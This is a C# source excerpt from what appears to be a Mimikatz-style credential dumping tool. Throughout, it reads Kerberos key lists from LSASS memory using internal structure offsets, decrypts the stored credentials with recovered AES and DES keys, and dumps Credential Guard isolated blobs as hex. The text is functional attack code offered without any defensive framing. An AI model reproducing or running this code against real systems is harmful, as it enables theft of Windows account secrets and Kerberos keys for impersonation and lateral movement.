private static string GenericLsaIsoOutput(LSAISO_DATA_BLOB blob) { GCHandle pntDataPinnedArray = GCHandle.Alloc(blob.data, GCHandleType.Pinned); IntPtr pntData = pntDataPinnedArray.AddrOfPinnedObject(); IntPtr pntEncrypted = IntPtr.Add(pntData, blob.typeSize); GCHandle pntUnkData2PinnedArray = GCHandle.Alloc(blob.unkData2, GCHandleType.Pinned); IntPtr pntUnkData2 = pntUnkData2PinnedArray.AddrOfPinnedObject(); byte[] unkKeyData = new byte[3 * 16]; Array.Copy(blob.unkKeyData, unkKeyData, 3 * 16); byte[] encrypted = new byte[blob.origSize]; Marshal.Copy(pntEncrypted, encrypted, 0, blob.origSize); byte[] unkData2 = new byte[16]; Array.Copy(blob.unkData2, unkData2, unkData2.Length); StringBuilder sb = new StringBuilder(); sb.AppendFormat(NumberFormatInfo.InvariantInfo, "\n\t * LSA Isolated Data: {0}", Marshal.PtrToStringAuto(pntData)); sb.AppendFormat(NumberFormatInfo.InvariantInfo, "\n\t Unk-Key : {0}", Utility.PrintHexBytes(unkKeyData)); sb.AppendFormat(NumberFormatInfo.InvariantInfo, "\n\t Encrypted: {0}", Utility.PrintHexBytes(encrypted)); sb.AppendFormat(NumberFormatInfo.InvariantInfo, "\n\t\t SS:{0}, TS:{1}, DS:{2}", blob.structSize, blob.typeSize, blob.origSize); sb.AppendFormat(NumberFormatInfo.InvariantInfo, "\n\t\t 0:0x{0:X}, 1:0x{1:X}, 2:0x{2:X}, 3:0x{3:X}, 4:0x{4:X}, E:", blob.unk0, blob.unk1, blob.unk2, blob.unk3, blob.unk4); sb.AppendFormat(NumberFormatInfo.InvariantInfo, Utility.PrintHexBytes(unkData2)); sb.AppendFormat(NumberFormatInfo.InvariantInfo, ", 5:0x{0:X}", blob.unk5); pntDataPinnedArray.Free(); pntUnkData2PinnedArray.Free(); return(sb.ToString()); }
public static void GetKerberosKeys(ref IntPtr hLsass, byte[] krbrLogonSession, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist) { Type kerberossessiontype = oshelper.KerberosLogonSessionType; Type kerberoshshtype = oshelper.KerberosHashType; IntPtr pKeyList = new IntPtr(BitConverter.ToInt64(krbrLogonSession, oshelper.KerberosLogonSessionKeyListOffset)); if (pKeyList == IntPtr.Zero) { return; } LUID luid = Utility.ReadStruct <LUID>(Utility.GetBytes(krbrLogonSession, oshelper.KerberosSessionLocallyUniqueIdentifierOffset, Marshal.SizeOf(typeof(LUID)))); byte[] keylistBytes = Utility.ReadFromLsass(ref hLsass, pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))); int items = BitConverter.ToInt32(keylistBytes, Utility.FieldOffset <KIWI_KERBEROS_KEYS_LIST_6>("cbItem")); int structsize = Marshal.SizeOf(kerberoshshtype); int readsize = items * structsize; byte[] hashpassBytes = Utility.ReadFromLsass(ref hLsass, IntPtr.Add(pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))), readsize); for (int i = 0; i < items; i++) { int currentindex = (i * structsize) + oshelper.KerberosHashGenericOffset; byte[] entryBytes = Utility.GetBytes(hashpassBytes, currentindex, Marshal.SizeOf(typeof(KERB_HASHPASSWORD_GENERIC))); KERB_HASHPASSWORD_GENERIC entry = Utility.ReadStruct <KERB_HASHPASSWORD_GENERIC>(entryBytes); string keyentry = KerberosTicketEtype((int)entry.Type); KerberosKey kkey = new KerberosKey(); kkey.Type = keyentry; UNICODE_STRING checksum = new UNICODE_STRING { Length = (ushort)entry.Size, MaximumLength = (ushort)entry.Size, Buffer = entry.Checksump }; if ((int)entry.Size > 0) { if ((int)entry.Size > Utility.FieldOffset <LSAISO_DATA_BLOB>("data")) { if ((int)entry.Size <= (Utility.FieldOffset <LSAISO_DATA_BLOB>("data") + ("KerberosKey".Length - 1) + AES_256_KEY_LENGTH)) // usual ISO DATA BLOB for Kerberos AES 256 session key { byte[] isoblobBytes = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, Marshal.SizeOf(typeof(LSAISO_DATA_BLOB))); LSAISO_DATA_BLOB isoblob = Utility.ReadStruct <LSAISO_DATA_BLOB>(isoblobBytes); kkey.Key = GenericLsaIsoOutput(isoblob); } else { byte[] encisoblobBytes = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, Marshal.SizeOf(typeof(LSAISO_DATA_BLOB))); ENC_LSAISO_DATA_BLOB encisoblob = Utility.ReadStruct <ENC_LSAISO_DATA_BLOB>(encisoblobBytes); kkey.Key = GenericEncLsaIsoOutput(encisoblob, (int)entry.Size); } } else { byte[] msvPasswordBytes = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, checksum.MaximumLength); byte[] msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, iv, aeskey, deskey); kkey.Key = Utility.PrintHashBytes(msvDecryptedPasswordBytes); } } else { kkey.Key = "<no size, buffer is incorrect>"; } Logon currentlogon = logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon != null) { if (currentlogon.KerberosKeys == null) { currentlogon.KerberosKeys = new List <KerberosKey>(); } currentlogon.KerberosKeys.Add(kkey); } } }